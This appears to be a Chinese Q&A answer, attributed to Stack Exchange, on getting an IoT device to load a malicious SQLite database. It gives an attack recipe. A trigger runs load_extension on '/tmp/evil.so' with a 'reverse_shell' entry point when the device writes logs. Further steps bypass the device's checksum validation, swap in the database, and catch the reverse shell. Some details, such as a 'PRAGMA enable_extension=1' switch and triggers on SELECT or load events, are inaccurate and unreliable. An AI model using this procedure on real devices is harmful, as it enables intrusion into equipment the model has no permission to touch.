IoT设备导入恶意SQLite数据库的风险与测试方法问询

风险结论 #

确实存在滥用load_extension的风险，但无法通过直接写入含load_extension的SQL语句实现——因为该函数是执行时触发，写入数据库的是函数执行结果而非语句本身。真正可行的路径是利用SQLite的触发器（Trigger），将恶意调用逻辑存储在数据库架构中，待设备加载数据库并触发对应操作时执行。

核心原理 #

SQLite的触发器是存储在数据库元数据中的逻辑，当满足触发条件（如INSERT/UPDATE/SELECT操作、数据库加载事件）时，会自动执行预设的SQL语句。如果设备的SQLite实例启用了load_extension功能（编译时开启SQLITE_ENABLE_LOAD_EXTENSION或运行时通过PRAGMA enable_extension=1开启），触发器中的load_extension调用会在触发时被执行。

测试步骤 #

1. 创建含恶意触发器的SQLite数据库 #

使用SQLite命令行工具生成目标数据库：

-- 本地测试时先启用扩展加载（目标设备需已开启该功能）
PRAGMA enable_extension=1;
-- 创建用于触发的测试表（可复用设备原有表，无需新建）
CREATE TABLE device_logs (id INTEGER, content TEXT);
-- 创建触发器：当设备向device_logs插入日志时执行恶意扩展
CREATE TRIGGER trigger_exploit AFTER INSERT ON device_logs
BEGIN
    SELECT load_extension("/tmp/evil.so", "reverse_shell");
END;

注意：本地创建时不要执行插入操作，避免在测试机上触发恶意代码；触发器绑定的表建议选择设备正常运行时会写入的表（如日志、配置表），确保设备重启后自动触发。

2. 绕过数据库校验 #

如果设备对数据库文件有校验机制：

• 先分析合法数据库的校验方式（如MD5/SHA1哈希、自定义校验表）；
• 计算恶意数据库的校验值，替换设备存储校验值的位置（如配置文件、独立校验分区、数据库内部的校验表）；
• 若为SQLite内置的校验（如PRAGMA integrity_check），确保恶意数据库的架构合法，无损坏。

3. 替换数据库并验证 #

• 将恶意数据库替换到设备的数据库路径；
• 重启设备，等待设备执行触发触发器的操作（如生成日志、更新配置）；
• 检查是否成功触发恶意扩展（如监听反弹shell端口、查看设备进程）。

关键注意事项 #

• 目标设备的SQLite必须启用load_extension：可通过分析设备固件中的SQLite编译参数，或测试运行时是否允许执行PRAGMA enable_extension=1判断；
• 恶意扩展需适配设备架构：编译对应ARM/MIPS等架构的.so文件，确保路径可被设备访问（优先本地路径，如需网络加载需设备具备联网能力且SQLite支持网络路径）；
• 触发器触发条件需贴合设备行为：选择设备必然会执行的数据库操作作为触发条件，提升成功概率。

内容的提问来源于stack exchange，提问作者Tis Me